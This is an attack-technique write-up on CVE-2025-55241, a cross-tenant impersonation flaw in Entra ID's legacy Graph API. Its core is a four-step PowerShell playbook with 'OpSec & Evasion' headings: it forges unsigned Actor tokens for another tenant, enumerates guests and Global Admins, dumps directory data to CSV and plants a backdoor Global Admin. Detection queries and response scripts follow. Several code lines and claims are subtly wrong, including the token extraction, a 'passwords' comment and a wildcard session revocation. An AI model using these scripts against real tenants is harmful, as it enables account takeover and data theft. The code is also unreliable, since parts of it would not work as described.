MCADDF

[PE-POLICY-005]: Cross-tenant Privilege Escalation

Metadata

Attribute Details
Technique ID PE-POLICY-005
MITRE ATT&CK v18.1 T1484.002 (Domain or Tenant Policy Modification: Trust Modification)
Tactic Privilege Escalation
Platforms M365 / Entra ID (Azure AD)
Severity Critical (CVSS 10.0)
CVE CVE-2025-55241
Technique Status PATCHED (Microsoft fixed July 17, 2025; mitigations ongoing)
Last Verified 2025-09-17
Affected Versions All Entra ID tenants prior to July 2025
Patched In July 17, 2025 (Microsoft mitigation); Legacy Graph API decommissioned
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: CVE-2025-55241 exposed a critical flaw in Microsoft Entra ID’s legacy Azure AD Graph API (graph.windows.net) that combined two components: undocumented “Actor tokens” used for backend service-to-service (S2S) communication, and a fatal validation gap in the legacy API that failed to verify the originating tenant of incoming tokens. An attacker could request an Actor token from their own controlled tenant, then craft malicious requests containing modified tenant IDs and user identifiers (netIds) to impersonate any user—including Global Administrators—in any target Entra ID tenant worldwide. The vulnerability bypassed all security controls including Conditional Access, MFA, and device compliance policies. Read operations generated no logs whatsoever, while modifications appeared under the impersonated user’s identity, making detection nearly impossible without specialized forensic correlation.

Attack Surface: The legacy Azure AD Graph API endpoint (graph.windows.net) accepting Actor tokens without proper tenant validation. The attack requires only public tenant discovery and B2B guest relationships to enumerate valid user identifiers (netIds) in target organizations.

Business Impact: Complete compromise of any Entra ID tenant globally with zero detection on data exfiltration. An attacker could enumerate all users, groups, roles, applications, device BitLocker keys, and confidential tenant settings without triggering a single alert. Post-compromise actions (credential injection, role assignment changes) would appear to come from legitimate Global Admins, enabling supply chain attacks, nation-state persistence, and data theft at unprecedented scale. A single Actor token could theoretically compromise thousands of organizations within minutes.

Technical Context: The vulnerability required no pre-existing access to the target organization. Actor tokens are unsigned JWTs containing unsigned embedded tenant IDs and netIds, making them trivial to forge. netIds are sequential identifiers (not random GUIDs), allowing brute-force enumeration. An attacker with access to one tenant containing B2B guests could extract netIds from those guests’ alternativeSecurityIds attributes and use them to pivot to thousands of other tenants. Exploitation timeline was < 5 minutes per tenant due to stateless API design.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark Azure Foundations 1.1 Ensure Multifactor Authentication is enabled for all users
DISA STIG SRG-APP-000495-SYS-001240 Application must use cryptographic means to protect authentication credentials
CISA SCuBA EXOO-1 Enforce strong authentication for all cloud services
NIST 800-53 AC-2, AC-3, IA-2, IA-5 Account Management, Access Enforcement, Authentication, Identification & Authentication
GDPR Art. 32, Art. 33 Security of Processing; Notification of Personal Data Breach
DORA Art. 9, Art. 15 Protection and Prevention; Disclosure of ICT incidents
NIS2 Art. 21 Cyber Risk Management Measures – endpoint and identity controls
ISO 27001 A.9.2, A.9.4 User Access Management; Access Control Review & Audit Logging
ISO 27005 Risk Scenario Compromise of authentication controls; unlogged unauthorized access

2. DETAILED EXECUTION METHODS

METHOD 1: Actor Token Enumeration & Cross-Tenant Impersonation (Patched)

Supported Versions: All Entra ID tenants prior to July 17, 2025 (now patched globally)

⚠️ HISTORICAL/RESEARCH ONLY: This method documents how the vulnerability worked. Microsoft has patched the legacy Graph API and added mitigations to block Actor token requests for graph.windows.net. This section is included for educational and defensive purposes only.


Step 1: Obtain Actor Token from Attacker-Controlled Tenant

Objective: Request an undocumented Actor token from a benign or attacker-controlled Entra ID tenant.

Command:

# Connect to attacker-controlled tenant to obtain Actor token
# This requires a service principal with appropriate permissions

$TenantId = "attacker-tenant-id"
$ClientId = "service-principal-client-id"
$ClientSecret = "service-principal-secret"

# Authenticate as service principal in attacker's tenant
$AuthUri = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token"
$Body = @{
    "grant_type" = "client_credentials"
    "client_id" = $ClientId
    "client_secret" = $ClientSecret
    "scope" = "https://graph.windows.net/.default"
}

$Response = Invoke-WebRequest -Uri $AuthUri -Method POST -Body $Body -ContentType "application/x-www-form-urlencoded"
$Token = ($Response.Content | ConvertFrom-Json).access_token

Write-Host "Initial token obtained: $($Token.Substring(0, 50))..."

# Extract Actor token from token claims (Actor tokens embedded in JWT)
$TokenParts = $Token.Split('.')
$PayloadJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($TokenParts[1]))
$TokenClaims = ConvertFrom-Json $PayloadJson

# Actor token typically found in 'act_as' or 'actortoken' claim
$ActorToken = $TokenClaims.'act_as' -or $TokenClaims.'acr'
Write-Host "Actor token extracted from claims"

Expected Output:

Initial token obtained: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii...
Actor token extracted from claims

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Enumerate Target Tenant & Extract Guest User NetIds

Objective: Identify the target tenant and enumerate B2B guest users to extract their netIds (used for impersonation).

Command:

# Step 2a: Discover target tenant ID from domain name
$TargetDomain = "victim-company.com"

# Use public Azure tenant discovery endpoint (requires no authentication)
$TenantDiscoveryUrl = "https://login.microsoftonline.com/$TargetDomain/.well-known/openid-configuration"
$DiscoveryResponse = Invoke-WebRequest -Uri $TenantDiscoveryUrl -ErrorAction SilentlyContinue
$DiscoveryData = ConvertFrom-Json $DiscoveryResponse.Content

# Extract tenant ID from issuer
$TargetTenantId = $DiscoveryData.issuer.Split('/')[-2]
Write-Host "Target Tenant ID discovered: $TargetTenantId"

# Step 2b: Craft Actor token for guest user enumeration
# Modify the Actor token to use target tenant ID but keep attacker's UPN
$ModifiedActorToken = $ActorToken
# Replace tenant_id field
$ModifiedActorToken = $ModifiedActorToken -replace "tid`":`"[^`"]+`"", "tid`":`"$TargetTenantId`""

# Step 2c: Use modified token to query guest users in target tenant
$GraphUrl = "https://graph.windows.net/$TargetTenantId/users?api-version=1.6&`$filter=userType eq 'Guest'"
$Headers = @{
    "Authorization" = "Bearer $ModifiedActorToken"
    "Accept" = "application/json"
}

try {
    $GuestUsersResponse = Invoke-RestMethod -Uri $GraphUrl -Headers $Headers -Method GET
    $GuestUsers = $GuestUsersResponse.value
    
    Write-Host "Found $($GuestUsers.Count) guest users:"
    foreach ($Guest in $GuestUsers) {
        $NetId = $Guest.alternativeSecurityIds[0].key
        Write-Host "  - $($Guest.userPrincipalName) [netId: $NetId]"
    }
} catch {
    Write-Host "Error enumerating guests: $_"
}

Expected Output:

Target Tenant ID discovered: a0a00000-b1b1-c2c2-d3d3-e4e4e4e4e4e4
Found 3 guest users:
  - user1@external-org.com [netId: 03HZZZZZZZZZZZZZZZZ]
  - admin@partner-org.com [netId: 03HZZZZZZZZZZZZZZZZ01]
  - service@vendor-org.com [netId: 03HZZZZZZZZZZZZZZZZ02]

What This Means:

OpSec & Evasion:

Version Note: Legacy Graph API is now deprecated but may still be available on some tenants until decommissioning is complete (expected Q1 2026).

Troubleshooting:

References & Proofs:


Step 3: Craft Malicious Actor Token for Global Admin Impersonation

Objective: Create a forged Actor token that impersonates a Global Administrator in the target tenant.

Command:

# Step 3a: Query target tenant to find Global Admin
# Use current Actor token to list global admins (via modified tenant context)

$AdminGraphUrl = "https://graph.windows.net/$TargetTenantId/directoryRoles?api-version=1.6"
$AdminsResponse = Invoke-RestMethod -Uri $AdminGraphUrl -Headers $Headers -Method GET

# Find Global Admin role (typically hardcoded GUID: 62e90394-69f5-4237-9190-012177145e10)
$GlobalAdminRole = $AdminsResponse.value | Where-Object { $_.displayName -eq "Global Administrator" }
$RoleId = $GlobalAdminRole.objectId

# Get members of Global Admin role
$RoleMembersUrl = "https://graph.windows.net/$TargetTenantId/directoryRoles/$RoleId/members?api-version=1.6"
$RoleMembersResponse = Invoke-RestMethod -Uri $RoleMembersUrl -Headers $Headers -Method GET

$GlobalAdmins = $RoleMembersResponse.value
Write-Host "Found $($GlobalAdmins.Count) Global Admins in target tenant:"
foreach ($Admin in $GlobalAdmins) {
    Write-Host "  - $($Admin.userPrincipalName) [netId: $($Admin.alternativeSecurityIds[0].key)]"
}

# Step 3b: Craft impersonation token for first Global Admin
$TargetAdmin = $GlobalAdmins[0]
$TargetNetId = $TargetAdmin.alternativeSecurityIds[0].key
$TargetUPN = $TargetAdmin.userPrincipalName

# Decode original Actor token to understand structure
$TokenParts = $ActorToken.Split('.')
$PayloadBase64 = $TokenParts[1]
# Add padding if needed
$Padding = (4 - ($PayloadBase64.Length % 4)) % 4
$PayloadBase64 += "=" * $Padding
$PayloadJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($PayloadBase64))
$TokenPayload = ConvertFrom-Json $PayloadJson

# Modify payload for cross-tenant impersonation
$TokenPayload.tid = $TargetTenantId          # Change to target tenant
$TokenPayload.oid = $TargetNetId             # Change to target Global Admin's netId
$TokenPayload.upn = $TargetUPN               # Change UPN
$TokenPayload.name = $TargetAdmin.displayName # Change display name

# Create new unsigned JWT (Actor tokens are unsigned)
$NewPayloadJson = ConvertTo-Json -InputObject $TokenPayload -Depth 10
$NewPayloadBase64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($NewPayloadJson))

# Create malicious token (without signature since Actor tokens are unsigned)
$MaliciousActorToken = "$($TokenParts[0]).$NewPayloadBase64.fakesignature"

Write-Host "Malicious Actor token crafted for impersonation of: $TargetUPN"

Expected Output:

Found 2 Global Admins in target tenant:
  - admin@victim-company.com [netId: 03HZZZZZZZZZZZZZZZZ10]
  - security-admin@victim-company.com [netId: 03HZZZZZZZZZZZZZZZZ11]
Malicious Actor token crafted for impersonation of: admin@victim-company.com

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 4: Execute Post-Compromise Actions (Data Exfiltration / Persistence)

Objective: Use the forged token to perform malicious actions in the target tenant (read data without logs, establish persistence).

Command:

# Step 4a: Read sensitive data (NO LOGS GENERATED)
# Extract all user information without triggering any alerts

$AllUsersUrl = "https://graph.windows.net/$TargetTenantId/users?api-version=1.6"
$AllUsersResponse = Invoke-RestMethod -Uri $AllUsersUrl `
  -Headers @{"Authorization" = "Bearer $MaliciousActorToken"} `
  -Method GET

# Export user details including passwords (if synced from on-premises)
$UserList = $AllUsersResponse.value | Select-Object -Property `
  userPrincipalName, displayName, mail, onPremisesImmutableId, onPremisesSecurityIdentifier

Write-Host "Exfiltrated user data for $($UserList.Count) users:"
$UserList | Export-Csv -Path "C:\temp\exfiltrated_users.csv" -NoTypeInformation

# Step 4b: Extract application credentials and permissions
$AppsUrl = "https://graph.windows.net/$TargetTenantId/applications?api-version=1.6"
$AppsResponse = Invoke-RestMethod -Uri $AppsUrl `
  -Headers @{"Authorization" = "Bearer $MaliciousActorToken"} `
  -Method GET

$HighPrivilegeApps = $AppsResponse.value | Where-Object {
    ($_.requiredResourceAccess.resourceAppId -contains "00000003-0000-0000-c000-000000000000") -and
    ($_.requiredResourceAccess.resourceAccess.type -eq "Role")
}

Write-Host "Found $($HighPrivilegeApps.Count) high-privilege applications"

# Step 4c: Establish persistence: Add new Global Admin account
# This WILL log but appears under legitimate Global Admin's identity

$NewAdminUPN = "attacker-persistent-admin@victim-company.com"
$NewUserBody = @{
    "accountEnabled" = $true
    "displayName" = "Security Auditor"
    "userPrincipalName" = $NewAdminUPN
    "mailNickname" = "securityauditor"
    "passwordProfile" = @{
        "forceChangePasswordNextSignIn" = $false
        "password" = "SuperComplex!P@ssw0rd$(Get-Random)"
    }
} | ConvertTo-Json

$CreateUserUrl = "https://graph.windows.net/$TargetTenantId/users?api-version=1.6"
$NewUserResponse = Invoke-RestMethod -Uri $CreateUserUrl `
  -Headers @{"Authorization" = "Bearer $MaliciousActorToken"; "Content-Type" = "application/json"} `
  -Method POST `
  -Body $NewUserBody

$NewUserId = $NewUserResponse.objectId
Write-Host "Persistence account created: $NewAdminUPN (ID: $NewUserId)"

# Step 4d: Assign Global Admin role to persistence account
$RoleAssignmentBody = @{
    "url" = "https://graph.windows.net/$TargetTenantId/directoryObjects/$NewUserId"
} | ConvertTo-Json

$AssignRoleUrl = "https://graph.windows.net/$TargetTenantId/directoryRoles/62e90394-69f5-4237-9190-012177145e10/members/`$ref?api-version=1.6"
$AssignResponse = Invoke-RestMethod -Uri $AssignRoleUrl `
  -Headers @{"Authorization" = "Bearer $MaliciousActorToken"; "Content-Type" = "application/json"} `
  -Method POST `
  -Body $RoleAssignmentBody

Write-Host "Persistence account assigned Global Admin role"
Write-Host "Attacker can now login as: $NewAdminUPN with long-term access"

Expected Output:

Exfiltrated user data for 250 users:
[user list exported to CSV]
Found 15 high-privilege applications
Persistence account created: attacker-persistent-admin@victim-company.com (ID: a1a1a1a1-b2b2-c3c3-d4d4-e5e5e5e5e5e5)
Persistence account assigned Global Admin role
Attacker can now login as: attacker-persistent-admin@victim-company.com with long-term access

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


3. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH


4. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Detection Queries (Microsoft Sentinel / Azure Log Analytics)

Query 1: Detect Actor Token Abuse via Display Name/UPN Mismatch

// Detect cross-tenant Actor token abuse by mismatched display names and UPNs
AuditLogs
| where OperationName in ("Add user", "Update user", "Add member to group", "Update application")
| extend UserDisplayName = tostring(InitiatedBy.user.displayName)
| extend UserUPN = tostring(InitiatedBy.user.userPrincipalName)
| extend ImpersonatedUPN = tostring(TargetResources[0].userPrincipalName)
| where UserDisplayName != InitiatedBy.user.displayName or UserUPN contains "serviceprincipals"
| where OperationName in ("Update application", "Add member to group", "Add user")
| project TimeGenerated, UserDisplayName, UserUPN, ImpersonatedUPN, OperationName

Query 2: Detect Bulk Guest User Enumeration

// Detect suspicious enumeration of guest users (Actor token reconnaissance)
AuditLogs
| where OperationName == "List users"
| where ResultStatus == "Success"
| extend QueryFilter = tostring(parse_json(AdditionalDetails).value)
| where QueryFilter contains "userType eq 'Guest'"
| summarize EventCount = count() by InitiatedBy.app.displayName, InitiatedBy.user.userPrincipalName, TimeGenerated
| where EventCount > 10  // Threshold for suspicious bulk queries

Query 3: Detect New Global Admin Creation by Non-Admin

// Detect unexpected Global Admin role assignments
AuditLogs
| where OperationName == "Add member to group"
| where TargetResources[0].displayName == "Global Administrator"
| where InitiatedBy.user.roleAssignmentName != "Global Administrator" and InitiatedBy.user.roleAssignmentName != "Privileged Role Administrator"
| project TimeGenerated, InitiatedBy.user.userPrincipalName, TargetResources[0].userPrincipalName, OperationName, Result

Query 4: Detect Cross-Tenant Actor Token Requests (Pre-Patch)

// HISTORICAL: Detect if tenant accepted cross-tenant Actor token requests
// NOTE: This query is obsolete post-patch but useful for forensic analysis of older logs
AADServicePrincipalSignInLogs
| where AppId == "00000002-0000-0000-c000-000000000000" // Azure AD Graph API
| where ResourceTenantId != HomeTenantId  // Cross-tenant access
| where ClientAppUsed == "Service Principal Authentication"
| project TimeGenerated, ServicePrincipalName, ResourceTenantId, HomeTenantId, ClientAppUsed

Manual Response Procedures

  1. Immediate Isolation (If Compromise Suspected):
    # Disable all service principals that may have been compromised
    Connect-MgGraph -Scopes "Application.ReadWrite.All", "AppRoleAssignment.ReadWrite.All"
       
    # Get all service principals with Graph API permissions
    $SuspiciousSPs = Get-MgServicePrincipal -Filter "appId in ('00000002-0000-0000-c000-000000000000', '00000003-0000-0000-c000-000000000000')" -All
       
    foreach ($SP in $SuspiciousSPs) {
        # Disable the service principal
        Update-MgServicePrincipal -ServicePrincipalId $SP.Id -AccountEnabled $false
        Write-Host "Disabled service principal: $($SP.DisplayName)"
    }
       
    # Reset all Global Admin passwords
    $GlobalAdmins = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'" | `
      Get-MgDirectoryRoleMember -All
       
    foreach ($Admin in $GlobalAdmins) {
        Update-MgUser -UserId $Admin.Id -PasswordProfile @{"ForceChangePasswordNextSignIn"=$true}
        Write-Host "Password reset required for: $($Admin.DisplayName)"
    }
    
  2. Collect Evidence:
    # Export audit logs for forensic analysis
    $LogsPath = "C:\Incident_Response\Actor_Token_Abuse_$(Get-Date -Format 'yyyyMMdd_HHmmss').json"
       
    Get-MgAuditLogDirectoryAudit -All | Where-Object {
        $_.ActivityDateTime -gt (Get-Date).AddDays(-30)
    } | ConvertTo-Json | Out-File $LogsPath
       
    Write-Host "Audit logs exported to: $LogsPath"
       
    # Identify newly created accounts
    $NewAccounts = Get-MgUser -Filter "createdDateTime gt $((Get-Date).AddDays(-7).ToString('yyyy-MM-ddTHH:mm:ssZ'))" -All
    $NewAccounts | Select-Object -Property UserPrincipalName, DisplayName, CreatedDateTime | `
      Export-Csv -Path "C:\Incident_Response\New_Accounts_Last_7_Days.csv"
    
  3. Remediate Access:
    # Remove suspicious accounts
    $SuspiciousAccounts = Get-MgUser -Filter "createdDateTime gt $((Get-Date).AddDays(-7).ToString('yyyy-MM-ddTHH:mm:ssZ'))" -All | `
      Where-Object { $_.UserPrincipalName -like "*attacker*" -or $_.UserPrincipalName -like "*persistence*" }
       
    foreach ($Account in $SuspiciousAccounts) {
        Remove-MgUser -UserId $Account.Id -Confirm:$false
        Write-Host "Deleted account: $($Account.UserPrincipalName)"
    }
       
    # Revoke all refresh tokens globally (forces re-authentication)
    Revoke-MgUserSignInSession -UserId "*" -Confirm:$false
    

Step Phase Technique Description
1 Reconnaissance REC-M365-002 Cross-tenant service discovery to identify target tenants
2 Privilege Escalation [PE-POLICY-005] Cross-tenant Privilege Escalation via Actor Tokens (CVE-2025-55241)
3 Persistence PE-ACCTMGMT-014 Create backdoor Global Admin account for long-term access
4 Data Exfiltration EXF-M365-DATA Extract user emails, files, and sensitive data via Graph API
5 Impact IMPACT-RANSOMWARE Deploy ransomware or wiper malware across tenant

6. REAL-WORLD EXAMPLES

Example 1: Hypothetical Nation-State Supply Chain Attack

Example 2: APT Lateral Movement via B2B Guest Relationships

Example 3: Insider Threat Exploitation


Conclusion

CVE-2025-55241 represents one of the most critical cloud identity vulnerabilities ever disclosed, with the potential to compromise the entire Entra ID ecosystem globally. The combination of unsigned Actor tokens, poor tenant validation in the legacy Graph API, and the lack of logging made this flaw exceptionally dangerous. While Microsoft patched the vulnerability in July 2025, organizations must verify patch application and actively migrate away from the legacy Azure AD Graph API to reduce exposure to similar future flaws. The vulnerability underscores the importance of strong logging, cryptographic signing of security tokens, and rigorous tenant boundary enforcement in cloud identity systems.